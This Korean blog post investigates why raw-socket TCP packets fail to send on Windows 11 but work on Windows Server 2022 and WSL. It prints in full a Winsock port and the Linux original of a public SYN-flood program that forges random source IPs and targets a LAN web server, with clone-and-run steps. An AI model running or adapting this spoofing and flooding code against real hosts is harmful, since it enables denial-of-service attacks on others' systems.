Windows 11 환경에서 raw socket 테스트하는 방법

이상하군요, ^^; 간단하게 raw socket을 테스트하려고 다음의 코드를,

adamalston/SYN-Flood
; https://github.com/adamalston/SYN-Flood

Windows Socket으로 변형해,

// https://github.com/adamalston/SYN-Flood/blob/master/tcp_syn_flood.c
// 또는 파이썬 2.x가 친숙하다면,
// https://github.com/gabrielpereirapinheiro/syn_flood/blob/master/synflood.py

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <iostream>
#include <WinSock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

#define DEST_IP "192.168.100.50"
#define DEST_PORT 15501 // Attack the web server
#define PACKET_LEN 1500

// IP Header
struct ipheader
{
    unsigned char iph_ihl : 4,       // IP header length
        iph_ver : 4;                 // IP version
    unsigned char iph_tos;           // Type of service
    unsigned short int iph_len;      // IP Packet length (data + header)
    unsigned short int iph_ident;    // Identification
    unsigned short int iph_flag : 3, // Fragmentation flags
        iph_offset : 13;             // Flags offset
    unsigned char iph_ttl;           // Time to Live
    unsigned char iph_protocol;      // Protocol type
    unsigned short int iph_chksum;   // IP datagram checksum
    struct in_addr iph_sourceip;     // Source IP address
    struct in_addr iph_destip;       // Destination IP address
};

// TCP Header
struct tcpheader
{
    u_short tcp_sport; // source port
    u_short tcp_dport; // destination port
    u_int tcp_seq;     // sequence number
    u_int tcp_ack;     // acknowledgement number
    u_char tcp_offx2;  // data offset, rsvd
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
    u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN | TH_SYN | TH_RST | TH_ACK | TH_URG | TH_ECE | TH_CWR)
    u_short tcp_win; // window
    u_short tcp_sum; // checksum
    u_short tcp_urp; // urgent pointer
};

// Psuedo TCP header
struct pseudo_tcp
{
    unsigned saddr, daddr;
    unsigned char mbz;
    unsigned char ptcl;
    unsigned short tcpl;
    struct tcpheader tcp;
    char payload[1500];
};

/*****************************************************
   Given a buffer of data, calculate the checksum
*****************************************************/
unsigned short in_cksum(unsigned short* buf, int length)
{
    unsigned short* w = buf;
    int nleft = length;
    int sum = 0;
    unsigned short temp = 0;

    /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* treat the odd byte at the end, if any */
    if (nleft == 1) {
        *(u_char*)(&temp) = *(u_char*)w;
        sum += temp;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     // add hi 16 to low 16 
    sum += (sum >> 16);                     // add carry 
    return (unsigned short)(~sum);
}

/****************************************************************************
  TCP checksum is calculated on the pseudo header, which includes the
  the TCP header and data, plus some part of the IP header. Therefore,
  we need to construct the pseudo header first.
*****************************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{
    struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip +
        sizeof(struct ipheader));

    int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

    /* pseudo tcp header for the checksum computation */
    struct pseudo_tcp p_tcp;
    memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

    p_tcp.saddr = ip->iph_sourceip.s_addr;
    p_tcp.daddr = ip->iph_destip.s_addr;
    p_tcp.mbz = 0;
    p_tcp.ptcl = IPPROTO_TCP;
    p_tcp.tcpl = htons(tcp_len);
    memcpy(&p_tcp.tcp, tcp, tcp_len);

    return  (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12);
}

// unsigned short calculate_tcp_checksum(struct ipheader* ip);

// Given an IP packet, send it out using a raw socket.
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    // int sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sock < 0)
    {
        printf("socket failed: %d\n", WSAGetLastError());
        return;
    }

    printf("raw socket opened\n");

    // Step 2: Set socket option.
    int result = setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (const char*)&enable, sizeof(enable));
    if (sock < 0)
    {
        printf("setsockopt failed: %d\n", WSAGetLastError());
        return;
    }

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    result = sendto(sock, (const char *)ip, ntohs(ip->iph_len), 0, (struct sockaddr*)&dest_info, sizeof(dest_info));
    printf("sendto: %d\n", result);

    printf("Press any key to exit...");
    getchar();

    closesocket(sock);
}

int main()
{
    char buffer[PACKET_LEN];
    struct ipheader* ip = (struct ipheader*)buffer;
    struct tcpheader* tcp = (struct tcpheader*)(buffer + sizeof(struct ipheader));

    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD(1, 1);

    WSAStartup(wVersionRequested, &wsaData);

    srand(time(0)); // Initialize the seed for random # generation.

    {
        memset(buffer, 0, PACKET_LEN);
        // Step 1: Fill in the TCP header.
        tcp->tcp_sport = rand();             // Use random source port
        tcp->tcp_dport = htons(DEST_PORT);
        tcp->tcp_seq = rand();               // Use random sequence #
        tcp->tcp_offx2 = 0x50;
        tcp->tcp_flags = TH_SYN;             // Enable the SYN bit
        tcp->tcp_win = htons(20000);
        tcp->tcp_sum = 0;

        // Step 2: Fill in the IP header.
        ip->iph_ver = 4;                 // Version (IPV4)
        ip->iph_ihl = 5;                 // Header length
        ip->iph_ttl = 50;                    // Time to live
        
        ip->iph_sourceip.s_addr = rand();    // Use a random IP address
        ip->iph_destip.s_addr = inet_addr(DEST_IP);
        ip->iph_protocol = IPPROTO_TCP;  // The value is 6.
        ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));

        // Calculate tcp checksum
        tcp->tcp_sum = calculate_tcp_checksum(ip);

        // Step 3: Finally, send the spoofed packet
        send_raw_ip_packet(ip);
    }

    WSACleanup();
}

관리자 권한으로 실행했더니,

// 관리자 권한으로 실행

c:\temp> ConsoleApplication1.exe
raw socket opened
sendto: 40
Press any key to exit...

딱히 sendto API 호출까지의 오류는 없지만 동작하지 않습니다. 재미있는 건, 동일한 exe 빌드를 Windows Server 2022에 복사해 실행하면 잘 됩니다. ^^;

이에 대해 검색해서 찾게 된 아래의 문서를 보면,

Limitations on Raw Sockets
; https://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2#limitations-on-raw-sockets

Raw socket은 윈도우 관리자 권한으로 실행하는 경우 잘 동작하지만, Windows XP SP2 이상의 환경에서는,



제약이 있다고 설명합니다. 하지만 그 제약이 딱히 위의 예제와는 별다른 관련이 없습니다.

• TCP data cannot be sent over raw sockets.
• UDP datagrams with an invalid source address cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. This change was made to limit the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets (TCP/IP packets with a forged source IP address).
• A call to the bind function with a raw socket for the IPPROTO_TCP protocol is not allowed.

제가 사용한 코드는 TCP의 data가 비어 있는, 말 그대로 IP+TCP 헤더만 보내는 경우입니다. 또한, UDP 패킷도 아니고 bind 함수를 사용한 경우도 아닙니다.

아마도 "TCP data"라는 것이 "header"도 포함하는 의미가 아닐까 예상합니다. 즉, 순수하게 IP의 header와 TCP에 해당하지 않은 data만을 보내는 것을... 의미하는 것 같습니다. (혹시 이에 대해 자세히 알고 계신 분은 덧글 부탁드립니다.)

---

결국 Windows 11에서는 raw socket을 사용해 TCP 테스트를 할 수 없습니다. 단지, 굳이 해야 한다면 WSL을 이용해 우회하는 것은 가능합니다. 재미있게도, Windows 11 환경이지만 WSL로 위의 소스 코드를 테스트하면 잘 동작합니다.

$ git clone https://github.com/adamalston/SYN-Flood.git
$ cd SYN-Flood/
$ gedit tcp_syn_flood.c
..[대충 자신의 네트워크 상황에 맞게 편집해 주고]...

$ gcc tcp_syn_flood.c
$ sudo ./a.out

$ cat tcp_syn_flood.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include "header.h"

#define DEST_IP "192.168.100.50"
#define DEST_PORT 15501 // Attack the web server
#define PACKET_LEN 1500

/*****************************************************
   Given a buffer of data, calculate the checksum
*****************************************************/
unsigned short in_cksum(unsigned short* buf, int length)
{
    unsigned short* w = buf;
    int nleft = length;
    int sum = 0;
    unsigned short temp = 0;

    /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* treat the odd byte at the end, if any */
    if (nleft == 1) {
        *(u_char*)(&temp) = *(u_char*)w;
        sum += temp;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     // add hi 16 to low 16 
    sum += (sum >> 16);                     // add carry 
    return (unsigned short)(~sum);
}

/****************************************************************************
  TCP checksum is calculated on the pseudo header, which includes the
  the TCP header and data, plus some part of the IP header. Therefore,
  we need to construct the pseudo header first.
*****************************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{
    struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip +
        sizeof(struct ipheader));

    int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

    /* pseudo tcp header for the checksum computation */
    struct pseudo_tcp p_tcp;
    memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

    p_tcp.saddr = ip->iph_sourceip.s_addr;
    p_tcp.daddr = ip->iph_destip.s_addr;
    p_tcp.mbz = 0;
    p_tcp.ptcl = IPPROTO_TCP;
    p_tcp.tcpl = htons(tcp_len);
    memcpy(&p_tcp.tcp, tcp, tcp_len);

    return  (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12);
}

// Given an IP packet, send it out using a raw socket.
void send_raw_ip_packet(struct ipheader *ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
    
    getchar();
    close(sock);
}

// Spoof a TCP SYN packet.
int main()
{
    char buffer[PACKET_LEN];
    struct ipheader *ip = (struct ipheader *)buffer;
    struct tcpheader *tcp = (struct tcpheader *)(buffer + sizeof(struct ipheader));

    srand(time(0)); // Initialize the seed for random # generation.

    // while (1)
    {
        memset(buffer, 0, PACKET_LEN);
        // Step 1: Fill in the TCP header.
        tcp->tcp_sport = rand();             // Use random source port
        tcp->tcp_dport = htons(DEST_PORT);
        tcp->tcp_seq = rand();               // Use random sequence #
        tcp->tcp_offx2 = 0x50;
        tcp->tcp_flags = TH_SYN;             // Enable the SYN bit
        tcp->tcp_win = htons(20000);
        tcp->tcp_sum = 0;

        // Step 2: Fill in the IP header.
        ip->iph_ver = 4;                 // Version (IPV4)
        ip->iph_ihl = 5;                 // Header length
        ip->iph_ttl = 50;                    // Time to live
        ip->iph_sourceip.s_addr = rand();    // Use a random IP address

        ip->iph_destip.s_addr = inet_addr(DEST_IP);
        ip->iph_protocol = IPPROTO_TCP;  // The value is 6.
        ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));

        // Calculate tcp checksum
        tcp->tcp_sum = calculate_tcp_checksum(ip);

        // Step 3: Finally, send the spoofed packet
        send_raw_ip_packet(ip);
    }

    return 0;
}

아니면, Windows Server 버전에서 테스트하거나!

(첨부 파일은 이 글의 예제 코드를 포함합니다.)

---

[이 글에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]

[최초 등록일: 10/31/2022]
[최종 수정일: 10/31/2022]


이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

by SeongTae Jeong, mailto:techsharer at outlook.com